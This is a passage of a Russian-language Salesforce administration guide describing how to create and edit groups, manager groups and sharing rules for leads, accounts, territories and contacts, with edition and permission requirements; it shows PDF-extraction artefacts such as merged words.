Всепользователиорганизации. Данныйтипнеохватывает
пользователей портала.

Пользователи

СМ. ТАКЖЕ:

Что такое группа?

Предоставление группам менеджеров общего доступа к записям
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Создание и редактирование групп

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
общедоступной группы:
• «Управление

пользователями»

Для создания или
редактирования
персональной группы
другого пользователя:
• «Управление

пользователями»

Общедоступные группымогут создаватьсяиредактироваться только администраторами
и делегированными администраторами, тогда как персональные группы — любыми
пользователями.

Чтобы создать или изменить группу, выполните указанные ниже действия.

1. Выберите нужный тип группы.

• Для персональных групп: откройте страницу личных параметров и выберите
пункт«Моиличныесведения»или «Личные». Затемщелкните«Моигруппы».
Связанныйсписок «Персональные группы» такжедоступенна страницесведений
о пользователе.

• Для общедоступных групп: введите строку «Общедоступные группы» в поле
«Быстрый поиск» и выберите пункт «Общедоступные группы».

2. Нажмите кнопку «Создать» илищелкните ссылку «Правка» напротив нужной
группы.

3. Заполните указанные ниже поля.

ОписаниеПоле

Имя, используемое для обозначения группы на
всех страницах пользовательского интерфейса.

Метка

Уникальноеимя, используемоеинтерфейсом API
и управляемыми пакетами.

Имя группы  (только для
общедоступных групп)

Чтобы разрешить автоматический доступ к
записямпосредствомиерархийролей, установите
флажок «Предоставить доступ с
использованием иерархий». Если данный

Предоставить доступ с
использованием иерархий
(только для общедоступных
групп)

флажок установлен, то все записи, доступные
пользователям группы, также доступны
вышестоящим пользователям в иерархии.

При создании общедоступной группы,
участниками которой являются все внутренние
пользователи, что позволяет оптимизировать
эффективностьпредоставлениягруппамобщего
доступа к записям, снимите флажок
«Предоставить доступ с использованием
иерархий».

Прим.: Если флажок «Предоставить
доступсиспользованиемиерархий»не
установлен, то вышестоящим
пользователям в иерархии ролей не
предоставляется автоматический доступ.
Тем не менее, некоторые пользователи
(например, с полномочиями объекта
«Просмотреть все» и «Изменить все», а
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также полномочиями системы «Просмотр всех данных» и
«Изменение всех данных») могут получить доступ к записям,
которые им не принадлежат.

Выберитенужныйтипучастникавраскрывающемсясписке «Поиск».
Чтобы найти нужного участника, введите ключевые слова в поле
поиска и нажмите кнопку «Найти».

Поиск

Прим.: Ответственные за организации могут просматривать
дочерние записи, принадлежащие пользователям массового
портала, только в том случае, если они являются участниками
любой группы общего доступа к порталу, которой
предоставлен доступ к данным пользователей портала.

Чтобы добавить участников в группу, выберите нужных участников
в столбце «Доступные участники» и нажмите кнопку «Добавить».

Выбранные участники

Выберите группыделегированного администрирования, участники
которой могут добавлять или удалять участников из данной

Выбранные делегированные группы

общедоступной группы. Выберите нужные группы из поля
«Доступныеделегированныегруппы» инажмитекнопку«Добавить».
Данный список отображается только для общедоступных групп.

4. Нажмите кнопку «Сохранить».

Прим.: Редактирование групп, ролей и территорий инициирует автоматический пересчет правил общего доступа
для добавления или удаления доступа.

СМ. ТАКЖЕ:

Что такое группа?
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Просмотр списков групп

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
общедоступной группы:
• «Управление

пользователями»

1. Выберите нужный тип группы.

• Для персональных групп: откройте страницу личных параметров и выберите
пункт«Моиличныесведения»или «Личные». Затемщелкните«Моигруппы».

• Для общедоступных групп: введите строку «Общедоступные группы» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Общедоступные
группы».

2. Чтобы просмотреть страницу сведений о группе, щелкните имя нужной группы в
связанном списке «Группы».

• Чтобы изменить состав участников группы, нажмите кнопку «Правка».

• Чтобы удалить группу, нажмите кнопку «Удалить».

• Чтобы просмотреть активных участников группы, воспользуйтесь связанным
списком «Участники группы».

• Чтобы просмотреть всех участников группы и пользователей, имеющих
одинаковый уровень доступа по причине их более высокого расположения в
иерархии ролей или территорий, нажмите кнопку «Просмотр всех
пользователей»дляотображениясвязанногосписка «Всепользователив группе».
Чтобы вернуться к связанному списку «Участники группы», нажмите кнопку
«Просмотр участников группы».

СМ. ТАКЖЕ:

Что такое группа?

Предоставление группам менеджеров общего доступа к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы предоставить группам менеджеров общий доступ к записям, рекомендуем
использовать правила общего доступа или общий доступ, установленный вручную.

Иерархия ролей определяет уровень доступа пользователей к данным организации.
Выпуск Spring'15 позволяетиспользовать группыменеджеровдляпредоставленияобщего
доступа к записям отдельным менеджерам, а не всем менеджерам, выполняющим ту же
роль. Группыменеджеровмогутиспользоваться аналогичнодругим группам (например,
в правиле общего доступа). Данные группы не могут быть добавлены в другие группы,
а такженемогут содержатьпользователейпортала. Группыменеджеровмогут содержать
только стандартных пользователей и пользователей Chatter Only.
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Каждомупользователюдоступныдве группыменеджеров — «Группаменеджеров» (1) и «Группаподчиненныхменеджера»
(2), где группа (1) содержит прямых и непрямых менеджеров пользователя, а группа (2) содержит самого пользователя, а
также его прямых и непрямых подчиненных. Данные группы доступны посредством раскрывающегося списка «Общий
доступ с:» на странице настройки правила общего доступа.

Чтобы найти менеджера пользователя, введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи». Щелкните имя нужного пользователя. Поле «Менеджер» на странице сведений о
пользователе содержит имя соответствующего менеджера.

Чтобыразрешить пользователямпредоставление общего доступа к записямпосредством группменеджеров, выполните
указанные ниже действия.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры общего доступа».

2. Нажмите кнопку «Правка» на странице «Параметры общего доступа».

3. Установите флажок «Группы менеджеров» в разделе «Другие параметры» и нажмите кнопку «Сохранить».

Прим.: Вынеможетеотключить группыменеджеров, есливашаорганизацияиспользуетWork.comилиимеет другие
правила общего доступа, основывающиеся на использовании группы менеджеров.

Чтобы предоставить группам менеджеров общий доступ к записям, рекомендуем воспользоваться общим доступом,
установленнымвручную, правиламиобщегодоступаилиуправляемымобщимдоступомкApex. Причиныобщегодоступа
к Apex не поддерживаются. При использовании управляемого общего доступа к Apex рекомендуем указать код вызова
строки, код записи и код группыменеджеров. Дополнительнуюинформацию см. в Руководстве разработчика Force.com Apex
Code.

Неактивныепользователиостаются в группах со своимучастием; группысохраняютвсе важныеправилаобщего доступа
и общий доступ, установленный вручную.
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Прим.: Еслиорганизацияиспользуетфункциюобщегодоступакпользователям, тосистемапозволяетпросматривать
только доступных пользователей. Кроме того, система не позволяет просматривать группы недоступных
пользователей.

Пример: Организация может использовать настраиваемый объект для анализа производительности, единому
стандартному параметру которого задано значение «Личный». Запись анализа, для которой снимается флажок
«Предоставить доступ с использованием иерархий», может просматриваться и редактироваться только
ответственнымсотрудником. Чтобыпредоставитьдоступкданнойзаписивышестоящимменеджерам, администратор
может создать правило общего доступа, которое предоставляет общий доступ группе менеджеров пользователя.
Кроме того, доступ к записи анализа может быть предоставлен группе менеджеров посредством общего доступа,
установленного вручную.

СМ. ТАКЖЕ:

Параметры общего доступа

Правила общего доступа

Категории правила общего доступа
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Правила общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила общего доступа к
организациям, активам и
контактам доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
территориям организации,
обращениям, интересам,
возможностям, заказам и
настраиваемым объектам
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
кампаниям доступны в
версиях: Professional
Edition (за дополнительную
плату), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Разрешите системе автоматически предоставлять дополнительный доступ отдельным
группам пользователей.

Например, правила общего доступа позволяют расширить уровень доступа
пользователейвобщедоступныхгруппах, роляхитерриториях. Правилаобщегодоступа
немогутдополнительноограничиватьдоступ, предоставленныйпоумолчанию. Правила
общего доступа позволяют расширять уровень доступа отдельных пользователей.

Ниже перечислены типы правил общего доступа, доступные для создания.

Объекты для
стандартного общего
доступа

На основеТип

Организации и связанные
контракты, возможности,
обращения или контакты и
заказы (дополнительно)

Ответственный за
организацию или другие
критерии, включая типы
записей или значения
полей

Правила общего доступа:
организация

Организации и связанные
обращения, контакты,
контракты или
возможности

Назначение территорииПравила общего доступа:
территория организации

Отдельные записи активовОтветственныйзаактивили
другие критерии, включая
типызаписейилизначения
полей

Правила общего доступа:
актив

Отдельные записи
кампаний

Ответственный за
кампанию или другие
критерии, включая типы
записей или значения
полей

Правила общего доступа:
кампания

Отдельные обращения и
связанные организации

Ответственный за
обращение или другие
критерии, включая типы

Правила общего доступа:
обращение

записей или значения
полей

Отдельные контакты и
связанные организации

Ответственный за контакт
или другие критерии,
включая типы записей или
значения полей

Правила общего доступа:
контакт

Отдельные записи
настраиваемых объектов

Ответственный за
настраиваемый объект или
другие критерии, включая

Правила общего доступа:
настраиваемый объект
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Объекты для стандартного общего
доступа

На основеТип

типы записей или значения полей

Отдельные интересыОтветственный за интерес или другие
критерии, включая типы записей или
значения полей

Правила общего доступа: интерес

Отдельные возможности и связанные
организации

Ответственный за возможность или
другие критерии, включая типы
записей или значения полей

Правилаобщегодоступа: возможность

Отдельные заказыОтветственный за заказ или другие
критерии, включая типы записей или
значения полей

Правила общего доступа: заказ

Отдельные записи пользователейПринадлежность к группе или другие
критерии, включая имя и активность
пользователя

Правилаобщегодоступа: пользователь

Отдельные записи запросов на
инициализацию пользователя

Только ответственный за запрос на
инициализациюпользователя; правила
общего доступа на основе критериев
недоступны.

Правилаобщегодоступа к запросамна
инициализацию пользователя

Прим.:

• Пользователи массового портала не могут быть включены в правила общего доступа, так как они не имеют
ролей и не могут быть добавлены в общедоступные группы.

• РазработчикимогутиспользоватьApex дляпрограммногообщегодоступа кнастраиваемымобъектам (наоснове
ответственных за записи, но не других критериев). Данное правило не распространяется на общий доступ к
пользователям.

СМ. ТАКЖЕ:

Общие сведения о правилах общего доступа на основе критериев

Рекомендации по правилам общего доступа
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Общие сведения о правилах общего доступа на основе критериев

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организации, возможности,
обращения и контакты
недоступны в версии
Database.com Edition.

Правила общего доступа на основе критериев определяют пользователей, которым
должен быть предоставлен общий доступ к записям на основе значений полей в этих
записях. Например, для заявок о приеме на работу используется настраиваемый объект,
содержащий настраиваемый раскрывающийся список «Отдел». В этом случае можно
создать правило общего доступа на основе критериев, согласно которому все заявки о
приеме на работу, в поле «Отдел» которых указано значение «Информационные
технологии», будут доступны всем менеджерам отдела информационных технологий.

Прим.:

• Несмотря на то, что правила общего доступа на основе критериев опираются
на значения записей, а не на ответственных, иерархия ролей или территорий
предоставляет вышестоящим пользователям доступ к этим записям.

• Правилаобщегодоступанаосновекритериевнемогутбытьсозданыспомощью
Apex. Кроме того, Apex не может использоваться для тестирования правил
общего доступа на основе критериев.

• Правила общего доступа на основе критериев могут быть созданы с помощью
интерфейсаMetadata API 24.0 или более поздней версии.

• Пользователи массового портала не могут быть включены в правила общего
доступа, так как они не имеют ролей и не могут быть добавлены в
общедоступные группы.

Правилаобщегодоступанаосновекритериевмогутбыть созданыдляорганизаций, возможностей, обращений, контактов,
интересов, кампаний и настраиваемых объектов. Для каждого объекта может быть создано не более 50 правил общего
доступа на основе критериев.

• Типы записей

• Следующие типы полей:

– Автонумерация

– Кнопка-флажок

– Дата

– Дата и время

– Эл. почта

– Число

– Процент

– Тел.

– Раскрывающийся список

– Текст

– Область текста

– URL-адрес

– Взаимосвязь поиска (для кода пользователя или очереди)

Прим.: Поля типа «Текст» и «Область текста» чувствительны к регистру. Например, правило общего доступа на
основе критериев, содержащее текстовое поле со значением «Менеджер», не предоставляет доступ к записям,
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содержащим поле со значением «менеджер». Чтобы создать правило, содержащее падежи слова, рекомендуем
разделить введенные значения запятыми.

СМ. ТАКЖЕ:

Правила общего доступа
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Категории правила общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Правила общего доступа к
организациям и контактам
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
территориям организации,
обращениям, интересам и
возможностям доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
кампаниям доступны в
версиях: Professional
Edition (за дополнительную
плату), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
настраиваемым объектам
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Партнерские и клиентские
порталы доступны в
Salesforce Classic

Ниже перечислены категории, доступные для выбора в раскрывающихся списках «за
которые отвечают участники» и «Общий доступ с» приопределенииправилаобщего
доступа. В зависимости от типа правила общего доступа и включенных функций,
некоторые категории могут не отображаться.

Прим.: Пользователимассовогопорталанемогутбытьвключенывправилаобщего
доступа, так как они не имеют ролей и не могут быть добавлены в общедоступные
группы.

ОписаниеКатегория

Все прямые и непрямые менеджеры пользователя.Группы менеджеров

Менеджер и все его прямые и непрямые подчиненные.Группы подчиненных
менеджера

Все записи, принадлежащие очереди, кроме записей,
принадлежащих отдельным участникам очереди. Доступно
только в списке «за которые отвечают участники».

Очереди

Все общедоступные группы, заданные администратором.

Еслиорганизацияподдерживаетпартнерскийиликлиентский
портал, тоотображается группа «Всепользователи-партнеры»
или «Всепользователиклиентскогопортала». Данные группы
содержат всех пользователей, которым предоставлен доступ
к партнерскому или клиентскому порталу, кроме
пользователей массового портала.

Общедоступные
группы

Все роли, заданные для организации. Данная категория
содержит всех пользователей с определенной ролью.

Роли

Все роли, заданные для партнерского или клиентского
портала организации. Данная категория содержит всех
пользователей с определенной ролью портала, кроме
пользователей массового портала.

Имя роли портала содержит имя связанной организации.
Исключениями являются организации-лица, содержащие
псевдоним пользователя.

Роли портала

Все роли, заданные для организации. Данная категория
содержит всех пользователей с определенной ролью и
нижестоящими ролями, включая роли партнерского и
клиентского порталов, которые содержат пользователей с
лицензией портала.

Ролипортала добавляются в даннуюкатегориютолько в том
случае, есливорганизациивключенаподдержкапартнерского
или клиентского портала.

Роли и подчиненные
роли
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ОписаниеКатегория

Категория набора данных «Роли, внутренние подчиненные роли и подчиненные
роли портала» доступна в организации только после создания как минимум одной
роли в иерархии ролей.

Всероли, заданныедляпартнерскогоиликлиентскогопорталаорганизации. Данная
категория содержит всех пользователей с определенной ролью портала и
нижестоящими ролями, кроме пользователей массового портала.

Имя роли портала содержит имя связанной организации. Исключениями являются
организации-лица, содержащие псевдоним пользователя.

Роли портала и подчиненные
роли

Всероли, заданныедляорганизации. Данная категория содержит всехпользователей
с определенной ролью и нижестоящими ролями, кроме ролей партнерского и
клиентского порталов.

Данная категория отображается только в том случае, если в организации включена
поддержка партнерского или клиентского портала Salesforce.

Ролиивнутренниеподчиненные
роли

Категория набора данных «Роли и внутренние подчиненные роли» доступна в
организации только после создания как минимум одной роли в иерархии ролей и
включения портала.

Всероли, заданныедляорганизации. Данная категория содержит всехпользователей
с определенной ролью и нижестоящими ролями, включая роли партнерского и
клиентского порталов.

Данная категория отображается только в том случае, если в организации включена
поддержка партнерского или клиентского портала Salesforce.

Роли, внутренние подчиненные
роли и подчиненные роли
портала

Категория набора данных «Роли и внутренние подчиненные роли» доступна в
организации только после создания как минимум одной роли в иерархии ролей и
включения портала.

Все территории, заданные для организации.Территории

Всетерритории, заданныедляорганизации. Даннаякатегориясодержитопределенную
территорию и все нижестоящие территории.

Территории и подчиненные
территории

СМ. ТАКЖЕ:

Правила общего доступа

Предоставление группам менеджеров общего доступа к записям
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Создание правил общего доступа к интересу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правилаобщегодоступа кинтересуопираютсянаответственногоилидругойкритерий,
включая тип записи и определенные значения полей. Разрешается создавать не более
300 правил общего доступа к интересу, в том числе не более 50 правил общего доступа
на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанномсписке «Правилаобщегодоступа: интерес».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать общедоступными: выберите категорию в
первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке (или в поле поиска,
если организация использует более 200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к интересу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: интерес».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа
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Создание правил общего доступа к организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к организациимогут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300 правил общего доступа к организации, в том числе не более 50 правил
общего доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа:
организация».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать общедоступными: выберите категорию в
первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке (или в поле поиска,
если организация использует более 200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите значение в поле «Доступ к организации, контракту и активу по умолчанию».

10. В остальных полях выберите параметры доступа для записей, связанных с общедоступными организациями.

ОписаниеПараметр доступа

Пользователи не могут просматривать или обновлять
записи, кроме случаев предоставления доступа вне
данного правила общего доступа.

Личное

(доступнотолькодлясвязанныхконтактов, возможностей
и обращений)

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения
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ОписаниеПараметр доступа

Пользователи могут просматривать и обновлять записи.Для чтения и записи

Прим.: Параметр «Доступ к контакту» недоступен в том случае, если единому стандартному параметру для
контактов задано значение «Контролируется родительским объектом».

11. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: организация».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите значение в поле «Доступ к организации, контракту и активу по
умолчанию».

6. В остальных полях выберите параметры доступа для записей, связанных с
общедоступными организациями.

ОписаниеПараметр доступа

Пользователи не могут просматривать или обновлять
записи, кроме случаев предоставления доступа вне
данного правила общего доступа.

Личное

(доступнотолькодлясвязанныхконтактов, возможностей
и обращений)

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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Прим.: Параметр «Доступ к контакту» недоступен в том случае, если единому стандартному параметру для
контактов задано значение «Контролируется родительским объектом».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Создание правил общего доступа к территории организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к территории организации опираются на назначение
территорий. Разрешается создавать не более 300 правил общего доступа к территории
организации.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмитекнопку«Создать»всвязанномсписке «Правилаобщегодоступа: территория
организации».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. В строке «Организации территории» выберите значение «Территории» или
«Территории и подчиненные территории» в первом раскрывающемся списке и
территорию во втором раскрывающемся списке.

7. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

8. Выберите значение в поле «Доступ к организации, контракту и активу по умолчанию».

9. Востальныхполяхвыберитепараметрыдоступадлязаписей, связанныхсобщедоступнымитерриториямиорганизации.

ОписаниеПараметр доступа

Пользователи не могут просматривать или обновлять
записи, кроме случаев предоставления доступа вне
данного правила общего доступа.

Личное

(доступнотолькодлясвязанныхконтактов, возможностей
и обращений)

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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Прим.: Параметр «Доступ к контакту» недоступен в том случае, если единому стандартному параметру для
контактов задано значение «Контролируется родительским объектом».

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к территории организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа к территории организации можно редактировать только
параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: территория организации».

3. При необходимости измените метку и имя правила.

4. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи не могут просматривать
или обновлять записи, кроме случаев
предоставления доступа вне данного
правила общего доступа.

Личное

(доступно только для связанных
контактов, возможностей и обращений)

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

Прим.: Параметр «Доступ к контакту» недоступен в том случае, если единому стандартному параметру для
контактов задано значение «Контролируется родительским объектом».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа
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Создание правил общего доступа к контакту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к контакту могут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300 правил общего доступа к контакту, в том числе не более 50 правил общего
доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: контакт».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать
общедоступными: выберите категорию в первом раскрывающемся списке и группу пользователей во втором
раскрывающемся списке (или в поле поиска, если организация использует более 200 очередей, групп, ролей или
территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

